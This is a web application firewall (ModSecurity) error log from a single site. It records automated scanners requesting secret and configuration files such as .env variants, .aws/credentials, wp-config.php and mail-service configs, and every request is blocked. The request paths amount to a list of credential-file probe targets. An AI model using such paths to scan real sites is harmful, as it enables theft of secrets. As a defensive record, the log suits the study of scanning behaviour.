[Sun Nov 30 01:55:21.209261 2025] [:error] [pid 42252:tid 42256] [client 3.107.95.9:54338] [client 3.107.95.9] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.example"] [unique_id "aSszibweMxCk051n8_-9fwAAAUI"]
[Sun Nov 30 01:55:33.369668 2025] [:error] [pid 33303:tid 33305] [client 3.107.95.9:39540] [client 3.107.95.9] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||gigfragments.org|F|2"] [data ".ini"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "gigfragments.org"] [uri "/config.ini"] [unique_id "aSszlfvL3Xz3V8uL8l5vdAAAAYA"]
[Sun Nov 30 01:55:36.034356 2025] [:error] [pid 33376:tid 33403] [client 3.107.95.9:39576] [client 3.107.95.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/settings"] [unique_id "aSszmHpx_7viPEhKF36O5QAAAhg"]
[Sun Nov 30 01:55:36.088724 2025] [:error] [pid 42162:tid 42173] [client 3.107.95.9:39580] [client 3.107.95.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/settings.json"] [unique_id "aSszmNePpz4Ije-_Ejr2uwAAAIY"]
[Sun Nov 30 01:55:36.146456 2025] [:error] [pid 33303:tid 33312] [client 3.107.95.9:39594] [client 3.107.95.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/app.config.js"] [unique_id "aSszmPvL3Xz3V8uL8l5vnAAAAYc"]
[Sun Nov 30 01:55:36.202806 2025] [:error] [pid 33303:tid 33329] [client 3.107.95.9:39608] [client 3.107.95.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/phpinfo.php"] [unique_id "aSszmPvL3Xz3V8uL8l5vnQAAAZg"]
[Sun Nov 30 01:55:36.259459 2025] [:error] [pid 42163:tid 42218] [client 3.107.95.9:39624] [client 3.107.95.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/info.php"] [unique_id "aSszmJnaEs-eGc51wg2XxgAAANc"]
[Sun Nov 30 01:55:36.316845 2025] [:error] [pid 42163:tid 42208] [client 3.107.95.9:39640] [client 3.107.95.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/phpversion.php"] [unique_id "aSszmJnaEs-eGc51wg2XxwAAAM0"]
[Sun Nov 30 01:55:36.373200 2025] [:error] [pid 33376:tid 33399] [client 3.107.95.9:39642] [client 3.107.95.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/test.php"] [unique_id "aSszmHpx_7viPEhKF36O5gAAAhQ"]
[Sun Nov 30 01:55:36.426862 2025] [:error] [pid 42252:tid 42276] [client 3.107.95.9:39648] [client 3.107.95.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin"] [unique_id "aSszmLweMxCk051n8_-9mwAAAVY"]
[Sun Nov 30 01:55:36.484613 2025] [:error] [pid 33303:tid 33311] [client 3.107.95.9:39656] [client 3.107.95.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin.php"] [unique_id "aSszmPvL3Xz3V8uL8l5vnwAAAYY"]
[Sun Nov 30 01:55:36.546814 2025] [:error] [pid 58730:tid 58773] [client 3.107.95.9:39672] [client 3.107.95.9] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-config.php"] [unique_id "aSszmKDQq6rwusUXQKjkcgAAAAg"]
[Sun Nov 30 01:55:36.609252 2025] [:error] [pid 58730:tid 58781] [client 3.107.95.9:39676] [client 3.107.95.9] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/composer.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/composer.json"] [unique_id "aSszmKDQq6rwusUXQKjkcwAAABA"]
[Sun Nov 30 01:55:36.669746 2025] [:error] [pid 58730:tid 58779] [client 3.107.95.9:39690] [client 3.107.95.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.aws/config"] [unique_id "aSszmKDQq6rwusUXQKjkdAAAAA4"]
[Sun Nov 30 01:55:36.727568 2025] [:error] [pid 58730:tid 58778] [client 3.107.95.9:39692] [client 3.107.95.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.aws/credentials"] [unique_id "aSszmKDQq6rwusUXQKjkdQAAAA0"]
[Sun Nov 30 01:55:36.784545 2025] [:error] [pid 29714:tid 29720] [client 3.107.95.9:39708] [client 3.107.95.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aws/config"] [unique_id "aSszmL76_KNwefuiUY95ywAAAEQ"]
[Sun Nov 30 01:55:36.842131 2025] [:error] [pid 58730:tid 58768] [client 3.107.95.9:39724] [client 3.107.95.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aws/credentials"] [unique_id "aSszmKDQq6rwusUXQKjkdgAAAAM"]
[Sun Nov 30 01:55:36.896476 2025] [:error] [pid 58730:tid 58775] [client 3.107.95.9:39740] [client 3.107.95.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aws.json"] [unique_id "aSszmKDQq6rwusUXQKjkeAAAAAo"]
[Sun Nov 30 01:55:36.953694 2025] [:error] [pid 33337:tid 33343] [client 3.107.95.9:39742] [client 3.107.95.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/credentials"] [unique_id "aSszmD7HzFQftKzaJgJ2kgAAAcI"]
[Sun Nov 30 01:55:37.008925 2025] [:error] [pid 58730:tid 58784] [client 3.107.95.9:39754] [client 3.107.95.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/secrets.json"] [unique_id "aSszmaDQq6rwusUXQKjkeQAAABM"]
[Sun Nov 30 01:55:37.062361 2025] [:error] [pid 42163:tid 42210] [client 3.107.95.9:39768] [client 3.107.95.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/keys.js"] [unique_id "aSszmZnaEs-eGc51wg2XyQAAAM8"]
[Sun Nov 30 01:55:37.117539 2025] [:error] [pid 29714:tid 29737] [client 3.107.95.9:39770] [client 3.107.95.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aws-keys.js"] [unique_id "aSszmb76_KNwefuiUY95zAAAAFU"]
[Sun Nov 30 01:55:37.171591 2025] [:error] [pid 33376:tid 33393] [client 3.107.95.9:39778] [client 3.107.95.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mailgun"] [unique_id "aSszmXpx_7viPEhKF36O5wAAAg4"]
[Sun Nov 30 01:55:37.228936 2025] [:error] [pid 42164:tid 42241] [client 3.107.95.9:39794] [client 3.107.95.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mailgun.json"] [unique_id "aSszmdip8Nhatsq7KxzkqAAAARM"]
[Sun Nov 30 01:55:37.283009 2025] [:error] [pid 33376:tid 33402] [client 3.107.95.9:39802] [client 3.107.95.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mailgun/config"] [unique_id "aSszmXpx_7viPEhKF36O6AAAAhc"]
[Sun Nov 30 01:55:37.339752 2025] [:error] [pid 42164:tid 42239] [client 3.107.95.9:39804] [client 3.107.95.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mailgun.php"] [unique_id "aSszmdip8Nhatsq7KxzkqQAAARE"]
[Sun Nov 30 01:55:37.395082 2025] [:error] [pid 42252:tid 42263] [client 3.107.95.9:39820] [client 3.107.95.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sendgrid"] [unique_id "aSszmbweMxCk051n8_-9nQAAAUk"]
[Sun Nov 30 01:55:37.452024 2025] [:error] [pid 33337:tid 33353] [client 3.107.95.9:37724] [client 3.107.95.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sendgrid.json"] [unique_id "aSszmT7HzFQftKzaJgJ2kwAAAcw"]
[Sun Nov 30 01:55:37.506399 2025] [:error] [pid 42164:tid 42223] [client 3.107.95.9:37728] [client 3.107.95.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sendgrid/config"] [unique_id "aSszmdip8Nhatsq7KxzkqgAAAQE"]
[Sun Nov 30 01:55:37.561229 2025] [:error] [pid 42164:tid 42233] [client 3.107.95.9:37744] [client 3.107.95.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sendgrid.php"] [unique_id "aSszmdip8Nhatsq7KxzkqwAAAQs"]
[Sun Nov 30 01:55:37.619275 2025] [:error] [pid 33303:tid 33321] [client 3.107.95.9:37752] [client 3.107.95.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sendgrid.env"] [unique_id "aSszmfvL3Xz3V8uL8l5vogAAAZA"]
[Sun Nov 30 01:55:37.672919 2025] [:error] [pid 33376:tid 33380] [client 3.107.95.9:37768] [client 3.107.95.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/brevo"] [unique_id "aSszmXpx_7viPEhKF36O6QAAAgE"]
[Sun Nov 30 01:55:37.728358 2025] [:error] [pid 42163:tid 42197] [client 3.107.95.9:37774] [client 3.107.95.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/brevo.json"] [unique_id "aSszmZnaEs-eGc51wg2XygAAAMI"]
[Sun Nov 30 01:55:37.785372 2025] [:error] [pid 42164:tid 42225] [client 3.107.95.9:37786] [client 3.107.95.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/brevo/config"] [unique_id "aSszmdip8Nhatsq7KxzkrwAAAQM"]
[Sun Nov 30 01:55:37.840612 2025] [:error] [pid 42163:tid 42198] [client 3.107.95.9:37792] [client 3.107.95.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/brevo.php"] [unique_id "aSszmZnaEs-eGc51wg2XywAAAMM"]
[Sun Nov 30 01:55:37.901510 2025] [:error] [pid 58730:tid 58770] [client 3.107.95.9:37798] [client 3.107.95.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/php"] [unique_id "aSszmaDQq6rwusUXQKjkegAAAAU"]
[Sun Nov 30 01:55:37.968196 2025] [:error] [pid 33337:tid 33361] [client 3.107.95.9:37800] [client 3.107.95.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/info"] [unique_id "aSszmT7HzFQftKzaJgJ2lAAAAdQ"]
[Sun Nov 30 01:55:38.027889 2025] [:error] [pid 33376:tid 33391] [client 3.107.95.9:37804] [client 3.107.95.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/phpinfo"] [unique_id "aSszmnpx_7viPEhKF36O6gAAAgw"]
[Sun Nov 30 01:55:38.082729 2025] [:error] [pid 33376:tid 33384] [client 3.107.95.9:37816] [client 3.107.95.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aSszmnpx_7viPEhKF36O6wAAAgU"]
[Sun Nov 30 03:27:58.497311 2025] [:error] [pid 42162:tid 42172] [client 96.46.48.39:35688] [client 96.46.48.39] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 96.46.48.39, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aStJPtePpz4Ije-_EjoGIAAAAIU"]
[Sun Nov 30 04:29:44.187325 2025] [:error] [pid 24971:tid 24992] [client 56.125.75.227:50974] [client 56.125.75.227] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.remote"] [unique_id "aStXuDUZcbcCmcDjhQ-_8gAAANM"]
[Sun Nov 30 04:29:44.465815 2025] [:error] [pid 24886:tid 24909] [client 56.125.75.227:50972] [client 56.125.75.227] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.local"] [unique_id "aStXuOcqOmvMtig3AI2mBwAAABM"]
[Sun Nov 30 04:29:45.436788 2025] [:error] [pid 24887:tid 24932] [client 56.125.75.227:51140] [client 56.125.75.227] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.sample"] [unique_id "aStXuSJvZUx0EaDWpzEmmQAAAE8"]
[Sun Nov 30 04:29:45.437224 2025] [:error] [pid 28588:tid 28597] [client 56.125.75.227:51138] [client 56.125.75.227] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.backup"] [unique_id "aStXuSYl5J2n_isyWOlPcgAAAkc"]
[Sun Nov 30 04:29:45.437375 2025] [:error] [pid 24886:tid 24896] [client 56.125.75.227:51142] [client 56.125.75.227] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.example"] [unique_id "aStXuecqOmvMtig3AI2mCAAAAAY"]
[Sun Nov 30 04:29:45.438018 2025] [:error] [pid 24888:tid 24944] [client 56.125.75.227:51148] [client 56.125.75.227] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/lab/.env"] [unique_id "aStXufW2-HcJ0qXXc1HurAAAAIA"]
[Sun Nov 30 04:29:45.680201 2025] [:error] [pid 24887:tid 24920] [client 56.125.75.227:51136] [client 56.125.75.227] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.old"] [unique_id "aStXuSJvZUx0EaDWpzEmmwAAAEM"]
[Sun Nov 30 04:29:45.680244 2025] [:error] [pid 25002:tid 25052] [client 56.125.75.227:51134] [client 56.125.75.227] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.save"] [unique_id "aStXuW2Hykst8BxxTdJCdwAAAVQ"]
[Sun Nov 30 04:29:45.680318 2025] [:error] [pid 24887:tid 24917] [client 56.125.75.227:51144] [client 56.125.75.227] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/lib/.env"] [unique_id "aStXuSJvZUx0EaDWpzEmnAAAAEA"]
[Sun Nov 30 04:29:45.680896 2025] [:error] [pid 24887:tid 24935] [client 56.125.75.227:51152] [client 56.125.75.227] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/cron/.env"] [unique_id "aStXuSJvZUx0EaDWpzEmnQAAAFI"]
[Sun Nov 30 04:29:45.680961 2025] [:error] [pid 25002:tid 25043] [client 56.125.75.227:51146] [client 56.125.75.227] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/cronlab/.env"] [unique_id "aStXuW2Hykst8BxxTdJCeAAAAUs"]
[Sun Nov 30 04:29:45.682198 2025] [:error] [pid 24888:tid 24966] [client 56.125.75.227:51150] [client 56.125.75.227] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/vendor/.env"] [unique_id "aStXufW2-HcJ0qXXc1HurgAAAJY"]
[Sun Nov 30 04:29:46.406409 2025] [:error] [pid 24886:tid 24914] [client 56.125.75.227:51308] [client 56.125.75.227] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/core/.env"] [unique_id "aStXuucqOmvMtig3AI2mCQAAABg"]
[Sun Nov 30 04:29:48.985966 2025] [:error] [pid 28588:tid 28611] [client 56.125.75.227:53128] [client 56.125.75.227] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/apps/.env"] [unique_id "aStXvCYl5J2n_isyWOlPeAAAAlU"]
[Sun Nov 30 04:29:49.570482 2025] [:error] [pid 25001:tid 25025] [client 56.125.75.227:54028] [client 56.125.75.227] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/sitemaps/.env"] [unique_id "aStXvZEqbnzAQD3HGL8PtgAAARQ"]
[Sun Nov 30 04:29:49.900782 2025] [:error] [pid 28588:tid 28599] [client 56.125.75.227:54568] [client 56.125.75.227] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/saas/.env"] [unique_id "aStXvSYl5J2n_isyWOlPewAAAkk"]
[Sun Nov 30 04:29:50.373003 2025] [:error] [pid 28588:tid 28596] [client 56.125.75.227:54722] [client 56.125.75.227] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/api/.env"] [unique_id "aStXviYl5J2n_isyWOlPfAAAAkY"]
